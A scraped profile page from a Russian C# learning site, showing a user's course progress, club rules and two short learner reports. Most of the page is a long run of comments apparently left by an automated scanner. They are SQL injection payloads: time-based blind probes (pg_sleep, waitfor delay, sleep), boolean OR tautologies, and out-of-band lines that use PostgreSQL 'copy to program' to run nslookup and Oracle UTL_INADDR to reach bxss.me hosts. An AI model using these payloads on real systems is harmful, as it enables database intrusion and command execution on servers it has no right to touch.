Си шарп с нуля

Формула программиста

основатель — Волосатов Евгений Витольдович
Робот Шарп возобновит работу 5 сентября в 21:00.

Neverwinter 2
  • Звание: Наследник
  • Накопленный опыт: 397 часов
  • Баланс Мегахешей: собрано 3 Mh, потрачено 0 Mh
  • Баланс Байтов: нет
  • Не состоит в «Клубе формулистов»
  • Последний визит: 2020-04-06 10:13:32
  • Город проживания: Киров

Видеокурсы

Дата активности Видеокурс Прогресс
2018-07-30 bomberman Бомбермэн все 22 100 %
2018-06-19 lines Шарики все 9 113 %
2018-06-16 memory Карточки памяти 13 из 14 %
2018-04-19 chess3 Шахматы по сети 52 из 95 %
2018-02-11 wpf2 Простой WPF 11 из 12 %
2018-02-01 game1 Нано-игры 2 из 9 20 %
2018-01-30 saver Хранитель экрана все 15 100 %
2018-01-13 game2 Микроигры 16 из 17 107 %
2018-01-13 game4 Игры со Спрайтами 12 из 33 37 %
2018-01-13 nevermind Невидимка все 5 %
2018-01-06 game0 Демо игры 9 из 10 90 %
2017-12-20 javasweeper Java Sweeper все 52 %
2017-10-08 soft2 Новые технологии 3 из 18 20 %
2017-07-14 cpp1 С++ Графика - обрезка изображений 1 из 13 8 %
2017-04-29 iterator Итератор все 10 100 %
2017-04-16 task3 Комбинаторика 2 из 22 10 %
2017-03-26 sweep Боты Сапёра 22 из 32 69 %
2017-02-11 task5 Секундомер 16 из 17 100 %
2017-02-11 sokoban Сокобан 22 из 23 96 %
2017-01-22 viri Без конкуренции все 14 100 %
2016-06-11 task4 Графические циклы 12 из 13 93 %
2016-06-04 shifr Шифрование 4 из 27 20 %
2016-05-31 ef Entity Framework 4 из 8 50 %
2016-04-24 words Игры со словами 3 из 7 43 %
2016-04-03 bilife Бинарная жизнь 6 из 7 100 %
2016-03-19 soft0 Демо софт 1 из 8 15 %
2015-11-14 soft3 Теория ООП все 39 100 %
2015-08-23 game7 Морской флот 2 из 51 4 %
Итого: 379 из 602 63 %

Консольные задачи

Дата активности Консольный раздел Прогресс
2018-02-15 solo C# набор 2 из 17 12 %
2015-10-04 task2 Алгоритмика 1 из 20 5 %
2015-10-04 task2 Типы данных все 5 100 %
Итого: 8 из 42 20 %
Сохранить страницу:


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:59

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-14455.11120.b5a99.\1.bxss.me


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:58

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-14454.11120.b5a99.\1.bxss.me'


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:58

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-14449.11120.b5a99.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:58

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-14446.11120.b5a99.1.bxss'||'.me')


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:58

QUE6nLoW'));select pg_sleep(12.063); --


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:58

ochr9zoW');select pg_sleep(12.063); --


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:58

Oa7rp5Gq';select pg_sleep(36.189); --


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:58

-1));select pg_sleep(24.126); --


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:58

-1));select pg_sleep(12.063); --


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:57

-1);select pg_sleep(36.189); --


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:57

-1;select pg_sleep(12.063); --


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:57

yS3dUZMy'; waitfor delay '0:0:12.063' --


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:57

1 waitfor delay '0:0:36.189' --


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:57

-1); waitfor delay '0:0:24.126' --


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:57

-1; waitfor delay '0:0:24.126' --


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:57

(select(0)from(select(sleep(24.126)))v)/*'+(select(0)from(select(sleep(24.126)))v)+'"+(select(0)from(select(sleep(24.126)))v)+"*/


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:56

if(now()=sysdate(),sleep(12.063),0)/*'XOR(if(now()=sysdate(),sleep(12.063),0))OR'"XOR(if(now()=sysdate(),sleep(12.063),0))OR"*/




31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:56

-1' OR 2+824-824-1=0+0+0+1 or 'WQQuCrwe'='


31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:56

-1' OR 2+200-200-1=0+0+0+1 --



31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:56

-1 OR 2+519-519-1=0+0+0+1



31528. --
1
1
ответить
→  Neverwinter 2  # Сокобан / Сокобан - Решалка - Оптимизация / 2021-07-30 21:56

-1 OR 2+566-566-1=0+0+0+1 --




31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:56

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-11625.11120.cedde.\1.bxss.me


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:56

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-11624.11120.0d6dd.\1.bxss.me


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:56

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-11618.11120.cedde.\1.bxss.me'


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:56

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-11622.11120.0d6dd.\1.bxss.me'


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:56

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-11620.11120.0d6dd.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:56

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-11616.11120.0d6dd.1.bxss'||'.me')


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:56

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-11617.11120.cedde.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:55

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-11613.11120.cedde.1.bxss'||'.me')


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:55

NBn4o3Rv'));select pg_sleep(13.938); --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:55

bRYHLdEO');select pg_sleep(13.938); --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:55

SbXstOI7';select pg_sleep(13.938); --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:55

XXOVoD5E'));select pg_sleep(16.75); --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:55

imtouIDt');select pg_sleep(16.75); --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:55

IK1p3uY0';select pg_sleep(8.375); --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:55

-1));select pg_sleep(6.969); --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:55

-1));select pg_sleep(8.375); --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:55

-1);select pg_sleep(20.907); --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:55

-1);select pg_sleep(25.125); --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:55

-1;select pg_sleep(20.907); --



31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:55

5V1zIlFr'; waitfor delay '0:0:13.938' --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:55

sfbuiP6i'; waitfor delay '0:0:16.75' --



31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:55

1 waitfor delay '0:0:13.938' --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:55

-1); waitfor delay '0:0:20.907' --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:55

1 waitfor delay '0:0:8.375' --



31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:55

-1); waitfor delay '0:0:8.375' --



31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:54

-1; waitfor delay '0:0:20.907' --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:54

(select(0)from(select(sleep(13.938)))v)/*'+(select(0)from(select(sleep(13.938)))v)+'"+(select(0)from(select(sleep(13.938)))v)+"*/


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:54

if(now()=sysdate(),sleep(8.375),0)/*'XOR(if(now()=sysdate(),sleep(8.375),0))OR'"XOR(if(now()=sysdate(),sleep(8.375),0))OR"*/



31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:54

if(now()=sysdate(),sleep(6.969),0)/*'XOR(if(now()=sysdate(),sleep(6.969),0))OR'"XOR(if(now()=sysdate(),sleep(6.969),0))OR"*/


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:54

-1" OR 2+587-587-1=0+0+0+1 --



31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:54

-1' OR 2+200-200-1=0+0+0+1 or 'Y9tYqVaA'='


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:54

-1' OR 2+27-27-1=0+0+0+1 --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:54

-1 OR 2+271-271-1=0+0+0+1


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Алгоритм игры / 2021-07-30 17:54

-1 OR 2+667-667-1=0+0+0+1 --



31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:54

-1' OR 2+686-686-1=0+0+0+1 or 'HHY4D7PY'='



31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:54

-1' OR 2+815-815-1=0+0+0+1 --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:53

-1 OR 2+387-387-1=0+0+0+1


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / VIP-загрузка на Android / 2021-07-30 17:53

-1 OR 2+783-783-1=0+0+0+1 --



31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:39

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-10174.11120.ae40d.\1.bxss.me


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:39

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-10173.11120.ae40d.\1.bxss.me'


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:39

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-10172.11120.ae40d.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:39

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-10171.11120.ae40d.1.bxss'||'.me')


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:38

iFmEJPsw'));select pg_sleep(8.123999999999998); --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:38

I1HrRx9f'));select pg_sleep(4.061999999999999); --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:38

XrBQqbFL');select pg_sleep(12.185999999999998); --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:38

EKaFGnZl';select pg_sleep(0); --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:38

Najo3WAh';select pg_sleep(4.061999999999999); --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:38

-1));select pg_sleep(12.185999999999998); --




31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:38

-1);select pg_sleep(12.185999999999998); --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:38

-1;select pg_sleep(12.185999999999998); --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:38

IyCGmzoP'; waitfor delay '0:0:8.123999999999998' --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:38

1 waitfor delay '0:0:8.123999999999998' --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:37

-1); waitfor delay '0:0:8.123999999999998' --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:37

-1; waitfor delay '0:0:4.061999999999999' --



31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:37

(select(0)from(select(sleep(12.185999999999998)))v)/*'+(select(0)from(select(sleep(12.185999999999998)))v)+'"+(select(0)from(select(sleep(12.185999999999998)))v)+"*/



31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:37

if(now()=sysdate(),sleep(8.123999999999998),0)/*'XOR(if(now()=sysdate(),sleep(8.123999999999998),0))OR'"XOR(if(now()=sysdate(),sleep(8.123999999999998),0))OR"*/


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:37

-1" OR 2+988-988-1=0+0+0+1 --


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:37

-1' OR 2+462-462-1=0+0+0+1 or 'AlWrROHv'='


31528. --
1
1
ответить
→  Neverwinter 2  # Карточки памяти / Запуск Unity с картинками / 2021-07-30 16:37

-1' OR 2+160-160-1=0+0+0+1 --


  • Звание: Наследник
  • Накопленный опыт: 397 часов
  • Собранный капитал: нет
  • Участник «Клуба формулистов»: до 2017-03-27

Клуб формулистов

Правила клуба формулистов

У каждого формулиста есть задача минимум на каждый день:
+ зайти на сайт, проверить один отчёт, получить 1 байт.
Задача максимум - выполнить все остальные ежедневные задачи.
Нажмите здесь чтобы перейти к ежедневному чек-листу.

В 24:00 МСК накопленные за сутки байты переносятся в недельный актив.
В воскресение 24:00 МСК все накопленные байты переходят на баланс формулиста.

Собранные байты можно обменивать на доступные видеокурсы (1 байт = 1 рубль, без скидок)
Приобретённые за байты видеокурсы доступны только во время нахождения в автобусе/клубе формулистов!

При завершении подписки в автобусе/клубе формулистов все накопленные байты обнуляются, а доступ к видеокурсам, приобретённым за байты, закрывается.
Продлевайте подписку заблаговременно.

Начинаем практику по языку C#





Если вы пришли без приглашения -
введите тысяча двадцать четыре (цифрами).
Чтобы стать хорошим программистом — нужно писать программы. На нашем сайте очень много практических упражнений.

После заполнения формы ты будешь подписан на рассылку «C# Вебинары и Видеоуроки», у тебя появится доступ к видеоурокам и консольным задачам.

Несколько раз в неделю тебе будут приходить письма — приглашения на вебинары, информация об акциях и скидках, полезная информация по C#.

Ты в любой момент сможешь отписаться от рассылки.


Научился: Продолжаем создавать необходимые структуры.
Трудности: Почему слово this можно не писать? Странно. (Не, ну я догадываюсь, что некоторые члены внутренние, некоторые внешние - типа есть какое-то высокоумное объяснение - но нужно низкоумное - чтобы не только знать, но и понимать это)



Научился: Вспмонил по компонент tableLayoutPanel.
Трудности: Пфф.. Да ничего! Хотя нет. Было сложно... Подобрать иконку! Бесит блин - перебираешь кучу вариантов - и все не подходят! :-))) Хоть сам сиди рисуй!! Еле догадался - карточки памяти же (памяти Карл!) Я и набрал: память! Нашлась иконка - самое то)))